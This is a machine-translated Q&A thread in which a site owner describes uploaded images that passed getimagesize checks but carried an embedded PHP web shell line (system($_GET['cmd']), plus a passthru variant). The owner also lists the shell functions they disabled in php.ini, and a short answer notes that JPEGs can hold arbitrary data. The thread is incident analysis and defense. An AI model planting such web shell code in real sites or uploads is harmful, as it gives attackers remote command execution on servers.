Мой php сайт был взломан кодами, загруженными как изображение ..?

Вчера мой сайт был создан. Злоумышленник меняет файл index.php на свой собственный (со всеми своими сообщениями славы и приветствиями). Я ' Мы уведомили об этом хостинговую компанию (мы работаем на выделенном сервере), и я, со своей стороны, Я пытаюсь исправить все, что кажется причиной, потому что я все еще не могу указать, как именно был атакован наш сервер, но я думаю, что нашел некоторые основанные на сценариях лазейки, которые могли быть виновником.

На нашем сайте есть форма загрузки изображений, но все загруженные изображения проверяются, если это действительно файл изображения, а не некоторые коды, используя функцию php getimagesize. Только если тип изображения IMAGETYPE_GIF, или IMAGETYPE_JPEG, или IMAGETYPE_PNG, они будут приняты. Иначе, они не смогут загрузить файл. Однако я обнаружил, что один загруженный файл изображения содержит скрипт php! Вы можете скачать изображение здесь . Это допустимый файл изображения, но попробуйте открыть изображение с помощью любого текстового редактора, и вы найдете внутри него код php:

"; system($_GET['cmd']); echo "
"; ?>

Например, изображение загружено в это место (www.mysite. ком / добавление / picodes.jpg). Обратите внимание, что разрешение на загрузку в папку равно 755. Есть ли в мире способ, которым злоумышленник может выполнить систему (или любую другую команду, такую ​​как passthru, поскольку мы обнаружили, что на другом изображении скрыт тот же код, что и выше, но вместо системы , он имеет команду passthru), например, набрав www.mysite.com/uploads/picodes.jpg?cmd=some command ?? Насколько я знаю, это невозможно сделать (очень ценю, если кто-то может доказать, что я не прав), если злоумышленник не может переименовать файл jpg в php, и даже если эти коды скрыты глубоко внутри изображения (см. Изображение внутри текстовый редактор, чтобы понять, что я пытаюсь сказать)

В целях предосторожности я отключил эти функции php (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, система), добавив их в disable_functions в php.ini.

В любом случае, я все еще думаю, что злоумышленник получает доступ не через веб, а через использование сервера, но я думаю, что моя хостинговая компания думает иначе.

8
задан AstroCB 19 August 2014 в 17:55
поделиться

1 ответ

Файлы JPEG могут содержать произвольные данные в дополнение к фактическим данным изображения; это часть спецификации. Таким образом, простая проверка того, является ли изображение допустимым форматом JPEG, не означает, что файл обязательно полностью безвреден.

4
ответ дан 5 December 2019 в 12:54
поделиться
Другие вопросы по тегам:

Похожие вопросы: